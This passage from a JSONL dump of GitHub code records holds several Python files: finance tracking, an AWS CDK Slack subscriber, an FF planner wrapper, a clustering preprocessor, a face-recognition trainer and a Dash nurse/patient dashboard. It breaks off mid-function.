mgmt_amount.index.strftime('%Y-%m-%d')\n set_track_content('finance', account.id, 'mgmt', mgmt_amount.to_dict('records'), True)\n \n portfolio_amount = pd.DataFrame(mvt_pnl['portfolio']).rename(columns={'portfolio': 'value'})\n portfolio_amount['date'] = portfolio_amount.index.strftime('%Y-%m-%d')\n set_track_content('finance', account.id, 'mvt_pnl_portfolio', portfolio_amount.to_dict('records'), True)\n mgmt_amount = pd.DataFrame(mvt_pnl['mgmt']).rename(columns={'mgmt': 'value'})\n mgmt_amount['date'] = mgmt_amount.index.strftime('%Y-%m-%d')\n set_track_content('finance', account.id, 'mvt_pnl_mgmt', mgmt_amount.to_dict('records'), True)\n \n portfolio_amount = pd.DataFrame(mvt_no_pnl['portfolio']).rename(columns={'portfolio': 'value'})\n portfolio_amount['date'] = portfolio_amount.index.strftime('%Y-%m-%d')\n set_track_content('finance', account.id, 'mvt_no_pnl_portfolio', portfolio_amount.to_dict('records'), True)\n mgmt_amount = pd.DataFrame(mvt_no_pnl['mgmt']).rename(columns={'mgmt': 'value'})\n mgmt_amount['date'] = mgmt_amount.index.strftime('%Y-%m-%d')\n set_track_content('finance', account.id, 'mvt_nop_pnl_mgmt', mgmt_amount.to_dict('records'), True)\n \ndef update_valuation(portfolio, account):\n None\n \n ","repo_name":"humblejok/gso_finance_2","sub_path":"portfolio/computations/cash_accounts.py","file_name":"cash_accounts.py","file_ext":"py","file_size_in_byte":8022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"33"} +{"seq_id":"3927363126","text":"from aws_cdk import aws_lambda\nfrom aws_cdk.aws_sns import ITopic\nfrom aws_cdk.aws_sns_subscriptions import LambdaSubscription\nfrom aws_cdk.core import Stack\nfrom aws_sns_slack_subscriber import root_path\n\n\nclass SlackSubscriber(aws_lambda.Function):\n def __init__(\n self,\n scope: Stack,\n id: str,\n slack_webhook_url: str,\n slack_channel: str,\n sns_topic: ITopic\n ) -> None:\n \"\"\"\n Constructor.\n\n :param scope: A Cloud formation stack to which this resource will be added.\n :param id: Resource id.\n :param slack_webhook_url: Slack webhook url to post callbacks.\n :param slack_channel: A channel to which send the post. Usually looks like this: \"#aws-sns-channel\".\n :param sns_topic: A SNS Topic to which this lambda should be subscribed.\n \"\"\"\n super().__init__(\n scope,\n id,\n code=aws_lambda.Code.from_asset(f'{root_path}/src'),\n handler='index.handler',\n runtime=aws_lambda.Runtime.PYTHON_3_8,\n environment={\n 'SLACK_WEBHOOK_URL': slack_webhook_url,\n 'SLACK_CHANNEL': slack_channel\n }\n )\n\n # noinspection PyTypeChecker\n sns_topic.add_subscription(LambdaSubscription(self))\n","repo_name":"idenfy/AwsSnsSlackSubscriber","sub_path":"aws_sns_slack_subscriber/slack_subscriber.py","file_name":"slack_subscriber.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"33"} +{"seq_id":"23739455144","text":"from construct.planners.planner import Planner\nfrom pyperplan.planner import _ground, _search, _parse\nfrom pyperplan.search.breadth_first_search import breadth_first_search\nimport click\nimport subprocess\nimport os\n\nclass FFPlanner(Planner):\n \"\"\"\n FF Planner\n \"\"\"\n\n def __init__(self, ctx):\n super().__init__()\n self.config = ctx\n\n def _plan(self, domain_file, problem_file):\n output = subprocess.run(['../FF-v2.3/ff','-o', domain_file, '-f', problem_file], capture_output=True, text=True)\n\n plan = self._get_plan_from_stdout(output.stdout)\n\n click.secho(f\"\\tPlan: {plan}\", fg=\"green\")\n return plan\n\n def _get_plan_from_stdout(self,output):\n output_lst = output.split(\"\\n\")\n actions = []\n flag = False\n for line in output_lst:\n if line == \"\":\n flag = False\n if \"step\" in line:\n flag =True\n if flag:\n actions.append(line)\n\n actions_clean = self._clean_actions(actions)\n return actions_clean\n\n def _clean_actions(self,actions):\n clean = []\n for action in actions:\n if not \":\" in action:\n continue\n core = action.split(\":\")[1].strip().lower()\n action = \"(\"+core+\")\"\n clean.append(action)\n return clean\n\n\n","repo_name":"vasanthsarathy/construct","sub_path":"construct/planners/ffplanner.py","file_name":"ffplanner.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"33"} +{"seq_id":"74612701853","text":"import pandas as pd\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.impute import SimpleImputer\nfrom pickle import dump, load\nfrom scipy import stats\nimport pathlib\nimport segmentation.cluster_model.utils as utils\nfrom segmentation.config.load_config import load_config\n\n# Config\nconfig = load_config()\n\n\nclass Preprocessor:\n # initialize the class\n def __init__(self, model_type, data_version, model_version):\n self._root_dir = config[\"root_dir\"]\n self._model_type = model_type\n self._data_version = data_version\n self._model_version = model_version\n\n @staticmethod\n def load_and_clean(root_dir, data_version, domain, lookback_period, end_date):\n df = pd.read_csv(\n f\"{root_dir}/training_data/v_{data_version}/{domain}/lookback_{lookback_period}/{end_date}.csv\",\n index_col=\"user_id\",\n )\n # let's drop the segments here and now... collinearity and insecurity there...\n df = df.drop([\"Unnamed: 0\", \"segments\"], axis=1)\n return df\n\n def impute_missing_data(self, df, params):\n\n # construct the dir - with parameters for versioning\n imputation_dir = (\n f\"{self._root_dir}/models/v_{self._model_version}/{params['domains']}/\"\n f\"lookback_{params['lookback_period']}/fit_for_{params['end_date']}\"\n )\n pathlib.Path(imputation_dir).mkdir(parents=True, exist_ok=True)\n imputer_filename = pathlib.Path(imputation_dir + \"/imputer.pkl\")\n\n if imputer_filename.is_file():\n imputer = load(open(imputer_filename, \"rb\"))\n else:\n imputer = SimpleImputer(strategy=\"median\")\n imputer.fit(df)\n # after it's fit, save it so it can be re-used later\n dump(imputer, open(imputer_filename, \"wb\"))\n\n # report which cols will have data imputed, and how many rows\n nan_cols = [i for i in df.columns if df[i].isnull().any()]\n nan_rows = df[df.isnull().any(axis=1)].shape[0]\n print(\n f\"Imputing for columns: {nan_cols}, across a total of {nan_rows} rows, out of {df.shape[0]} rows.\"\n )\n\n imputed_array = imputer.transform(df)\n imputed_df = pd.DataFrame(\n data=imputed_array, index=df.index, columns=df.columns\n )\n return imputed_df\n\n # kmeans is sensitive to outliers, so we should discard outliers from our training set\n # TODO: is there a scikit mod for this?\n # TODO: this seems pretty heavy for sessions and views, and probably not harsh enough for dwell\n def cut_outliers(self, df, params):\n # to construct the new dir, as we might add more columns to cut outliers along, let's hash the list of columns\n cols_to_trim_hash = utils.get_hash(params[\"cols_to_trim\"])\n\n # construct the dir - with parameters for versioning\n outliers_dir = (\n f\"{self._root_dir}/models/v_{self._model_version}/{params['domains']}/\"\n f\"lookback_{params['lookback_period']}/fit_for_{params['end_date']}/\"\n f\"outliers_{cols_to_trim_hash}/zscore_{params['zscore_cutoff']}\"\n )\n\n pathlib.Path(outliers_dir).mkdir(parents=True, exist_ok=True)\n\n # to avoid view vs copy randomness...\n no_outliers_df = df.copy()\n\n # for each feature we want to remove outliers for...\n for col in params[\"cols_to_trim\"]:\n\n new_col_name = \"Z_\" + col\n\n # create a new column with the zscore of the values of the feature\n no_outliers_df[new_col_name] = abs(\n stats.zscore(no_outliers_df[col], nan_policy=\"omit\")\n )\n\n # report the number to be cut\n df_z_over = [\n item\n for item in no_outliers_df[new_col_name].tolist()\n if item >= params[\"zscore_cutoff\"]\n ]\n\n print(\n f\"Users with '{col}' zscore over {params['zscore_cutoff']}: {str(len(df_z_over))}\"\n )\n\n # cut the outliers from the dataframe\n no_outliers_df = no_outliers_df[\n no_outliers_df[new_col_name] < params[\"zscore_cutoff\"]\n ]\n\n # drop the helper column\n no_outliers_df = no_outliers_df.drop([new_col_name], axis=1)\n\n return no_outliers_df\n\n # the second-to-last step is to drop some features (that are found to give the least impact?)\n def select_features(self, df, params):\n # to construct the new dir, let's hash the list of features that we've determined to keep, to use\n # as id for this parametrization; sort lists\n cols_to_keep_hash = utils.get_hash(params[\"cols_to_keep\"])\n\n # in order to id which outliers we've cut, let's also get the hash of the 'cols_to_trim' list as string\n cols_to_trim_hash = utils.get_hash(params[\"cols_to_trim\"])\n\n # construct the dir - with parameters for versioning\n feature_selection_dir = (\n f\"{self._root_dir}/models/v_{self._model_version}/{params['domains']}/lookback_{params['lookback_period']}/fit_for_{params['end_date']}/\"\n f\"outliers_{cols_to_trim_hash}/zscore_{params['zscore_cutoff']}\"\n )\n selected_features_dir = (\n f\"{feature_selection_dir}/selected_features_{cols_to_keep_hash}\"\n )\n\n pathlib.Path(selected_features_dir).mkdir(parents=True, exist_ok=True)\n\n # drop the features we've determined not to use\n if params[\"cols_to_keep\"][0] == \"All\":\n cols_to_keep = df.columns.tolist()\n else:\n cols_to_keep = params[\"cols_to_keep\"]\n # create a csv indicating the selection, if one doesn't exist\n selection_filename = pathlib.Path(\n f\"{feature_selection_dir}/selection_for_{cols_to_keep_hash}.csv\"\n )\n if not selection_filename.is_file():\n hardcoded_features_importances = {}\n for item in cols_to_keep:\n hardcoded_features_importances[item] = \"hardcoded\"\n selection_df = pd.DataFrame.from_dict(\n hardcoded_features_importances, orient=\"index\"\n )\n selection_df.reset_index(inplace=True)\n selection_df.columns = [\"feature\", \"average_importance\"]\n selection_df.to_csv(selection_filename)\n\n df = df[cols_to_keep]\n\n return df.reindex(sorted(df.columns), axis=1)\n\n # the last step we have to perform is to scale the data so that all values are between 0 and 1\n def scale_data(self, df, params):\n\n # let's get the hashes of the 'cols_to_trim' and the 'cols_to_keep' parameters to id the model version; sort lists\n cols_to_keep_hash = utils.get_hash(params[\"cols_to_keep\"])\n cols_to_trim_hash = utils.get_hash(params[\"cols_to_trim\"])\n\n # construct the dir - with parameters for versioning\n scaler_dir = (\n f\"{self._root_dir}/models/v_{self._model_version}/{params['domains']}/\"\n f\"lookback_{params['lookback_period']}/fit_for_{params['end_date']}\"\n f\"/outliers_{cols_to_trim_hash}/zscore_{params['zscore_cutoff']}/\"\n f\"selected_features_{cols_to_keep_hash}\"\n )\n\n # check if a fit scaler already exists, and if so, use it\n scaler_filename = pathlib.Path(scaler_dir + \"/scaler.pkl\")\n\n if scaler_filename.is_file():\n scaler = load(open(scaler_filename, \"rb\"))\n else:\n # if not, then we fit the scaler utility - which forces all values to between 0 and 1\n # TODO: look at standardisation?\n scaler = MinMaxScaler()\n scaler.fit(df)\n\n # after it's fit, save it so it can be re-used later\n dump(scaler, open(scaler_filename, \"wb\"))\n\n # now transform the data\n scaled_array = scaler.transform(df)\n\n # this returns a numpy array; let's get it into a form we can read\n scaled_df = pd.DataFrame(data=scaled_array, index=df.index, columns=df.columns)\n\n return scaled_df\n\n def preprocess_data(self, params):\n\n # print a statement\n print(f\"Preprocessing data for {params['domains']}.\")\n\n # If we're evaluating use end dates\n if self._model_type == \"evaluation\":\n dates_key = \"evaluation_end_date\"\n else:\n dates_key = \"end_date\"\n\n # run the preprocessing steps\n df = self.load_and_clean(\n self._root_dir,\n self._data_version,\n params[\"domains\"],\n params[\"lookback_period\"],\n params[dates_key],\n )\n\n # no need to pass on eval date downstream - having loaded the data once, downstream components need to only take that up\n # and do the same thing they would do regardless if its training or infering - see if artefact exists (when evaluating it should)\n # and load and do processing (if fitting - some artefacts would not exist)\n imputed_df = self.impute_missing_data(df, params)\n\n # we should cut outliers ONLY WHEN fitting; otherwise (when we have 'evaluation_end_date', we should not\n if self._model_type == \"training\":\n no_outliers_df = self.cut_outliers(imputed_df, params)\n else:\n no_outliers_df = imputed_df.copy()\n\n # Select features\n selected_df = self.select_features(no_outliers_df, params)\n\n # Scale data\n scaled_df = self.scale_data(selected_df, params)\n\n return scaled_df\n","repo_name":"vamsy517/Data-Architecture","sub_path":"ingest_engine/segmentation/cluster_model/features_preprocessor.py","file_name":"features_preprocessor.py","file_ext":"py","file_size_in_byte":9528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"33"} +{"seq_id":"74787170973","text":"from tkinter import*\nfrom tkinter import ttk\nfrom turtle import hideturtle\nfrom PIL import Image,ImageTk\nfrom tkinter import messagebox\nimport mysql.connector\nimport os\nimport cv2\nimport numpy as np\n\nclass Train:\n def __init__(self,root):\n self.root=root\n self.root.geometry(\"1530x790+0+0\")\n self.root.title(\"face Recognition System\")\n\n title_lbl=Label(self.root,text=\"TRAIN DATA\",font=(\"times new roman\",35,\"bold\"),bg=\"white\",fg=\"green\")\n title_lbl.place(x=0,y=0,width=1530,height=45)\n \n b1_1=Button(self.root,text=\"Train Data\",command=self.train_classifier,cursor=\"hand2\",font=(\"times new roman\",35,\"bold\"),bg=\"lightblue\",fg=\"white\")\n b1_1.place(x=630,y=250,width=300,height=200)\n\n\n def train_classifier(self):\n data_dir=(\"data\")\n path=[os.path.join(data_dir,file) for file in os.listdir(data_dir)]\n faces=[]\n ids=[]\n\n for image in path:\n img=Image.open(image).convert('L') #grey scale image\n imageNp=np.array(img,'uint8')\n id=int(os.path.split(image)[1].split('.')[1])\n faces.append(imageNp)\n ids.append(id)\n cv2.imshow(\"Traininig\",imageNp)\n cv2.waitKey(1)==13\n ids=np.array(ids)\n\n\n #==================== Train the classifier and save =================#\n\n clf=cv2.face.LBPHFaceRecognizer_create()\n clf.train(faces,ids)\n clf.write(\"classifier.xml\")\n cv2.destroyAllWindows()\n messagebox.showinfo(\"Result\",\"training datasets completed!!!\",parent=self.root)\n\nif __name__==\"__main__\":\n root=Tk()\n obj=Train(root)\n root.mainloop()","repo_name":"ishita3513/Face_recognition_attendance_system","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"33"} +{"seq_id":"35551419990","text":"from logging import PlaceHolder\nfrom dash import html, dcc, Dash, Input, Output, State\nimport dash_bootstrap_components as dbc\nimport pandas as pd\nimport dash_auth\nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\n\n\n'''\nThe folowing block of code reads from the firestore database and puts the code into a pandas dataframe. \nNote: this will only work if you download the fir-practice-17c... code into the folder that this code is in.\nThe dataframe is printed at the end for clarity, that is not essential to the function of the code.\n'''\nif not firebase_admin._apps:\n cred = credentials.Certificate(r'fir-practice-17cce-firebase-adminsdk-ygbmg-0bde5e4b86.json') \n default_app = firebase_admin.initialize_app(cred)\n\ndb = firestore.client()\npatients = list(db.collection(u'Patients').stream())\npatients_dict = list(map(lambda x: x.to_dict(), patients))\ndf = pd.DataFrame(patients_dict)\nprint(df)\n# make sample data to read from\n\n'''\nThe following block (lines 30 - 52) create dataframes for the patient and the nurse list. \nThis data is not read from the firestore database, that is something that needs to be done.\n'''\nnurse_data = {'Name': ['Jack Knox', 'Hanna Ertel', 'Aidan Anastario', 'Kaushik Karthik', 'Miranda Chai', 'Jay Kee'],\n 'Area': ['Lafayette', 'Staten Island', 'Bronx', 'Manhattan', 'Queens', 'Brooklyn'],\n 'Num_Patients': [5, 4, 7, 5, 3, 6],\n 'Hospice': [0, 0, 1, 0, 1, 1],\n 'Traich': [1, 1, 0, 0, 0, 0],\n 'Colostony': [1, 0, 1, 1, 1, 0]\n }\npatient_data = {'Name': ['Patient A', 'Patient B', 'Patient C', 'Patient D', 'Patient E', 'Patient F'],\n 'Area': ['Queens', 'Staten Island', 'Bronx', 'Manhattan', 'Queens', 'Brooklyn'],\n 'assigned_nurse':['Jack Knox', 'Hanna Ertel', 'Aidan Anastario', 'Kaushik Karthik', 'Miranda Chai', 'Jay Kee'],\n 'Cold': [0, 0, 1, 0, 1, 1],\n 'COVID': [1, 1, 0, 0, 0, 0],\n 'Headache': [1, 0, 1, 1, 1, 0]\n }\n\n\nnurse_df = pd.DataFrame(nurse_data)\nnurse_info_list = []\n\npatient_df = pd.DataFrame(patient_data)\npatient_info_list = []\n\n'''\nThe following block (56-93) puts a task list, nurse list, and patient list into list form.\nThe task list is just a filler for the main dashboard page. Hopefully the tasks can be read\nfrom input and appeneded to the list, but we did not incorporate that yet.\nThe nurse and patient df are read, and inputted into a list of lists, where each list a different\npatient/nurse, and all of their information is in the nested list.\n'''\ntask_list = [\"test basic task\\n\", \"this task is hard\\n\"]\n\nfor x in range(0, len(nurse_df)):\n nurse_info_list.append([])\n nurse_info_list[x].append(nurse_df.at[x, 'Name'])\n nurse_info_list[x].append(nurse_df.at[x, 'Area'])\n nurse_info_list[x].append(str(nurse_df.at[x, 'Num_Patients']))\n if (nurse_df.at[x, 'Hospice'] == 1):\n nurse_info_list[x].append(\"Hospice\")\n else:\n nurse_info_list[x].append(0)\n if (nurse_df.at[x, 'Traich'] == 1):\n nurse_info_list[x].append(\"Traich\")\n else:\n nurse_info_list[x].append(0)\n if (nurse_df.at[x, 'Colostony'] == 1):\n nurse_info_list[x].append(\"Colostony\")\n else:\n nurse_info_list[x].append(0)\n\nfor x in range(0, len(patient_df)):\n patient_info_list.append([])\n patient_info_list[x].append(patient_df.at[x, 'Name'])\n patient_info_list[x].append(patient_df.at[x, 'Area'])\n patient_info_list[x].append(patient_df.at[x, 'assigned_nurse'])\n if (patient_df.at[x, 'Cold'] == 1):\n patient_info_list[x].append(\"Cold\")\n else:\n patient_info_list[x].append(0)\n if (patient_df.at[x, 'COVID'] == 1):\n patient_info_list[x].append(\"COVID\")\n else:\n patient_info_list[x].append(0)\n if (patient_df.at[x, 'Headache'] == 1):\n patient_info_list[x].append(\"Headache\")\n else:\n patient_info_list[x].append(0)\n\n'''\nHere is where we set the theme to the basic bootstrap theme. This can be changed here.\nThis is also where you can adjust the settings to allow for a mobile compenent.\n'''\napp = Dash(__name__, external_stylesheets=[dbc.themes.BOOTSTRAP])\n# add a mobile layout component later\n\n'''\nImplements a user authentication feature. \nThis does not read data from the database. Use the given ID and password to get into the webpage. \n'''\nauth = dash_auth.BasicAuth(\n app,\n {'ID': 'password',\n 'ID2': 'password2'}\n)\n\n'''\nThis is shown when there is an error loading a page.\n'''\njumbotron = html.Div(\n dbc.Container(\n [\n html.H1(\"Jumbotron\", className=\"display-3\"),\n html.P(\n \"404 Error\",\n className=\"lead\",\n ),\n html.Hr(className=\"my-2\"),\n html.P(\n \"Something went wrong\"\n ),\n html.P(\n dbc.Button(\"Learn more\", color=\"primary\"), className=\"lead\"\n ),\n ],\n fluid=True,\n className=\"py-3\",\n ),\n className=\"p-3 bg-light rounded-3\",\n)\n\n'''\nThis is the sidebar. There are buttons on the left side of the dashboard\nthat let users navigate the site, and this sets that up.\n'''\nsidebar = html.Div([\n dbc.Nav([\n dbc.NavLink(\"Home\", href=\"/\", active=\"exact\"),\n dbc.NavLink(\"Nurses\", href=\"/nurse_dash\", active=\"exact\"),\n dbc.NavLink(\"Patients\", href=\"/patient_dash\", active=\"exact\"),\n dbc.NavLink(\"Setting\", href=\"/settings\", active=\"exact\"),\n ],\n vertical=True,\n pills=True,\n )\n])\n\n'''\nThis is the nurse page header. Just what is says at the top of the page.\n'''\nnurse_header = dbc.Container([\n dbc.Row([\n html.H1(\"Nurse Dashboard\", className=\"text-center text-secondary\"),\n ])\n])\n\n'''\nThis is the patient page header. Just what is says at the top of the page.\n'''\npatient_header = dbc.Container([\n dbc.Row([\n html.H1(\"Patient Dashboard\", className=\"text-center text-secondary\"),\n ])\n])\n\n'''\nThis is the main page header. Just what is says at the top of the page.\n'''\nmain_header = dbc.Container([\n dbc.Row([\n html.H1(\"Dashboard\", className=\"text-center text-secondary\"),\n ])\n])\n\n'''\nThis models the layout of the main page. Still needs a lot of work. We need to \nincorporate a calendar, dynamic task list, make the edit data buttons work, and add\nany other things that will be relevant.\n'''\nmain_dash_page = dbc.Container([\n dbc.Row([\n dbc.Col([\n dbc.Card([\n dbc.CardHeader(\"Calendar\"),\n dbc.CardBody(html.H5(\"this will show a snapshot of the calendar\"))\n ])\n ], width = {'size':8}),\n dbc.Col([\n dbc.Row([\n dbc.Col([\n html.H5(\"Data Entry\")\n ], width={\"offset\": 4, 'size':6})\n ]),\n dbc.Row([\n dbc.Col([\n dbc.Card([\n dbc.CardHeader(\"New Patient Entry\")\n ]),\n #html.Br(),\n dbc.Card([\n dbc.CardHeader(\"Edit Patient Data\")\n ])\n ], width = {'offset':0, 'size':6}),\n dbc.Col([\n dbc.Card([\n dbc.CardHeader(\"New Nurse Entry\")\n ]),\n #html.Br(),\n dbc.Card([\n dbc.CardHeader(\"Edit Nurse Data\")\n ])\n ], width ={'offset':0,'size':6}),\n ])\n ])\n\n ]),\n dbc.Row([\n dbc.Col([\n dbc.Row([\n dbc.Card([\n dbc.CardHeader(\"Nurse List Preview\"),\n dbc.CardBody(\n dbc.ListGroup([\n dbc.ListGroupItem(dbc.Row(\n (dbc.Col(x[0], width={'size':6}),\n dbc.Col(x[1], width={'size':4})),\n className='gx-5'\n )) for x in nurse_info_list\n ])\n )\n ])\n ])\n ], width={\"size\": 4}),\n dbc.Col([\n dbc.Row(\n html.P(\"talk to data team about data entry\")\n ),\n dbc.Row(\n dcc.Checklist(task_list, inline=False)\n )\n ])\n ])\n])\n\n'''\nThis is the nurse page. Fairly self-explanatory if you understand Dash.\n'''\nnurse_dash_page = [dbc.Container([\n dbc.Row([\n dbc.Col([\n dcc.Dropdown(\n id=\"Name\",\n options=[\n {\"label\": x, \"value\": x}\n for x in sorted(nurse_df['Name'])\n ],\n multi=True,\n placeholder=\"search for nurse by name\",\n )\n ], width={\"size\": 3}),\n dbc.Col(\n dbc.Button(\"Area\", outline=True, id='area_filter', n_clicks=0),\n width={\"size\": 2},\n align='start'\n ),\n dbc.Col(\n dbc.Button(\"# Patients\", outline=True, id='num_patients_filter', n_clicks=0),\n width={\"size\": 2},\n align='start'\n ),\n dbc.Col(\n dbc.Button(\"Expertise\", outline=True, id='skills_filter', n_clicks=0),\n width={\"size\": 3},\n align='start'\n ),\n dbc.Col([\n dcc.Dropdown(\n id=\"sort_by\",\n options=[\n {\"label\":\"Area (default)\", \"value\":\"Area (default)\"},\n {\"label\":\"Alphabetical\", \"value\":\"Alphabetical\"},\n {\"label\":\"# Patients (low to high)\", \"value\":\"# Patients (low to high)\"},\n {\"label\":\"# Patients (high to low)\", \"value\":\"# Patients (high to low)\"},\n ],\n multi=False,\n placeholder=\"Sort by\"\n ),\n ], width={\"size\":2}),\n ], justify='start', className=\"g-0\"),\n dbc.Row([\n dbc.Col(\n dbc.Collapse(\n dbc.Card(\n dcc.Checklist(\n options=[\n {\"label\": x, \"value\": x}\n for x in sorted(nurse_df[\"Area\"].unique())\n ],\n id=\"area_filter_checklist\",\n ),\n ),\n id=\"area_collapse\",\n is_open=False,\n ),\n width={'size': 2, 'offset': 3},\n ),\n dbc.Col(\n dbc.Collapse(\n dbc.Card(\n dcc.Checklist(\n options=[\n {\"label\": x, \"value\": x}\n for x in sorted(nurse_df[\"Num_Patients\"].unique())\n ],\n id=\"num_patients_checklist\",\n ),\n ),\n id=\"num_patients_collapse\",\n is_open=False,\n ),\n width={'size': 2},\n ),\n dbc.Col(\n dbc.Collapse(\n dbc.Card(\n dcc.Checklist(\n options=[\n {\"label\": \"Hospice\", \"value\": \"Hospice\"},\n {\"label\": \"Traich\", \"value\": \"Traich\"},\n {\"label\": \"Colostony\", \"value\": \"Colostony\"},\n ],\n id=\"skills_filter_checklist\"\n ),\n ),\n id=\"skills_collapse\",\n is_open=False,\n ),\n width={'size': 2},\n ),\n\n ], align='start'),\n html.Br(),\n dbc.Row([\n dbc.ListGroup([\n html.Div(id='nurse_group_list', children=[])\n ])\n ])\n], fluid=True)]\n\n'''\nThis is the patient page. Fairly self-explanatory if you understand Dash.\n'''\npatient_page_dash = [dbc.Container([\n dbc.Row([\n dbc.Col([\n dcc.Dropdown(\n id=\"patient_Name\",\n options=[\n {\"label\": x, \"value\": x}\n for x in sorted(patient_df['Name'])\n ],\n multi=True,\n placeholder=\"search for patient by name\",\n )\n ], width={\"size\": 3}),\n dbc.Col(\n dbc.Button(\"Area\", outline=True, id='patient_area_filter', n_clicks=0),\n width={\"size\": 2},\n align='start'\n ),\n dbc.Col(\n dbc.Button(\"Assigned Nurse\", outline=True, id='assigned_nurse_filter', n_clicks=0),\n width={\"size\": 2},\n align='start'\n ),\n dbc.Col(\n dbc.Button(\"Symptoms/Disease\", outline=True, id='sd_filter', n_clicks=0),\n width={\"size\": 3},\n align='start'\n ),\n dbc.Col([\n dcc.Dropdown(\n id=\"patient_sort_by\",\n options=[\n {\"label\":\"Area (default)\", \"value\":\"Area (default)\"},\n {\"label\":\"Alphabetical (Patient)\", \"value\":\"Alphabetical (Patient)\"},\n {\"label\": \"Alphabetical (Nurse)\", \"value\": \"Alphabetical (Nurse)\"},\n ],\n multi=False,\n placeholder=\"Sort by\"\n ),\n ], width={\"size\":2}),\n ], justify='start', className=\"g-0\"),\n dbc.Row([\n dbc.Col(\n dbc.Collapse(\n dbc.Card(\n dcc.Checklist(\n options=[\n {\"label\": x, \"value\": x}\n for x in sorted(patient_df[\"Area\"].unique())\n ],\n id=\"patient_area_filter_checklist\",\n ),\n ),\n id=\"patient_area_collapse\",\n is_open=False,\n ),\n width={'size': 2, 'offset': 3},\n ),\n dbc.Col(\n dbc.Collapse(\n dbc.Card(\n dcc.Checklist(\n options=[\n {\"label\": x, \"value\": x}\n for x in sorted(patient_df[\"assigned_nurse\"].unique())\n ],\n id=\"assigned_nurse_checklist\",\n ),\n ),\n id=\"assigned_nurse_collapse\",\n is_open=False,\n ),\n width={'size': 2},\n ),\n dbc.Col(\n dbc.Collapse(\n dbc.Card(\n dcc.Checklist(\n options=[\n {\"label\": \"Cold\", \"value\": \"Cold\"},\n {\"label\": \"COVID\", \"value\": \"COVID\"},\n {\"label\": \"Headache\", \"value\": \"Headache\"},\n ],\n id=\"sd_filter_checklist\"\n ),\n ),\n id=\"sd_collapse\",\n is_open=False,\n ),\n width={'size': 2},\n ),\n\n ], align='start'),\n html.Br(),\n dbc.Row([\n dbc.ListGroup([\n html.Div(id='patient_group_list', children=[]) #nurse_group_list\n ])\n ])\n], fluid=True)]\n\ncontent = html.Div(id=\"page-content\")\n\nheader = html.Div(id=\"page-header\")\n\n'''\nThis is the app.layout, or what is going to be displayed.\n'''\napp.layout = dbc.Container([\n dcc.Location(id=\"url\"),\n header,\n html.Br(),\n dbc.Row([\n dbc.Col([\n sidebar\n ], width={'size': 1}),\n dbc.Col([content], width={'size': 11}),\n ])\n], fluid=True)\n\n# callbacks\n@app.callback(\n Output('nurse_group_list', 'children'),\n [Input('Name', 'value'),\n Input('area_filter_checklist', 'value'),\n Input('num_patients_checklist', 'value'),\n Input('skills_filter_checklist', 'value'),\n Input('sort_by', 'value')]\n)\ndef nurse_filter_list(name_list, area_list, num_patients_list, skills_list, sort_by):\n filtered_list = []\n unsorted_list = []\n sorted_list = []\n for x in nurse_info_list:\n selected = True\n if (name_list is not None and len(name_list) > 0):\n if (not (x[0] in name_list)):\n selected = False\n if (area_list is not None and len(area_list) > 0):\n if (not (x[1] in area_list)):\n selected = False\n if (num_patients_list is not None and len(num_patients_list) > 0):\n if (not (int(x[2]) in num_patients_list)):\n selected = False\n if (skills_list is not None and len(skills_list) > 0):\n for y in skills_list:\n if (not ((x[3] == y) | (x[4] == y) | (x[5] == y))):\n selected = False\n if (selected):\n unsorted_list.append(x)\n\n if (sort_by == \"Alphabetical\"):\n for x in range(len(unsorted_list)):\n idx = 0\n while (idx < len(sorted_list)):\n letter_idx = 0\n while (letter_idx < len(sorted_list[idx][0]) - 1 and letter_idx < len(unsorted_list[x][0]) - 1 and\n sorted_list[idx][0][letter_idx] == unsorted_list[x][0][letter_idx]):\n letter_idx += 1\n if (ord(sorted_list[idx][0][letter_idx]) > ord(unsorted_list[x][0][letter_idx])):\n break\n else:\n idx += 1\n sorted_list.insert(idx, unsorted_list[x])\n elif (sort_by == \"# Patients (low to high)\"):\n for x in range(len(unsorted_list)):\n idx = 0\n while (idx < len(sorted_list)):\n letter_idx = 0\n while (letter_idx < len(sorted_list[idx][2]) - 1 and letter_idx < len(unsorted_list[x][2]) - 1 and\n sorted_list[idx][2][letter_idx] == unsorted_list[x][2][letter_idx]):\n letter_idx += 1\n if (sorted_list[idx][2] == unsorted_list[x][2]):\n letter_idx = 0\n while (letter_idx < len(sorted_list[idx][0]) - 1 and letter_idx < len(unsorted_list[x][0]) - 1 and\n sorted_list[idx][0][letter_idx] == unsorted_list[x][0][letter_idx]):\n letter_idx += 1\n if (ord(sorted_list[idx][0][letter_idx]) > ord(unsorted_list[x][0][letter_idx])):\n break\n else:\n idx += 1\n else:\n if (ord(sorted_list[idx][2][letter_idx]) > ord(unsorted_list[x][2][letter_idx])):\n break\n else:\n idx += 1\n sorted_list.insert(idx, unsorted_list[x])\n elif (sort_by == \"# Patients (high to low)\"):\n for x in range(len(unsorted_list)):\n idx = 0\n while (idx < len(sorted_list)):\n letter_idx = 0\n while (letter_idx < len(sorted_list[idx][2]) - 1 and letter_idx < len(unsorted_list[x][2]) - 1 and\n sorted_list[idx][2][letter_idx] == unsorted_list[x][2][letter_idx]):\n letter_idx += 1\n if (sorted_list[idx][2] == unsorted_list[x][2]):\n letter_idx = 0\n while (letter_idx < len(sorted_list[idx][0]) - 1 and letter_idx < len(unsorted_list[x][0]) - 1 and\n sorted_list[idx][0][letter_idx] == unsorted_list[x][0][letter_idx]):\n letter_idx += 1\n if (ord(sorted_list[idx][0][letter_idx]) > ord(unsorted_list[x][0][letter_idx])):\n break\n else:\n idx += 1\n else:\n if (ord(sorted_list[idx][2][letter_idx]) < ord(unsorted_list[x][2][letter_idx])):\n break\n else:\n idx += 1\n sorted_list.insert(idx, unsorted_list[x])\n elif (sort_by == \"Area (default)\" or True):\n for x in range(len(unsorted_list)):\n idx = 0\n while (idx < len(sorted_list)):\n letter_idx = 0\n while (letter_idx < len(sorted_list[idx][1]) - 1 and letter_idx < 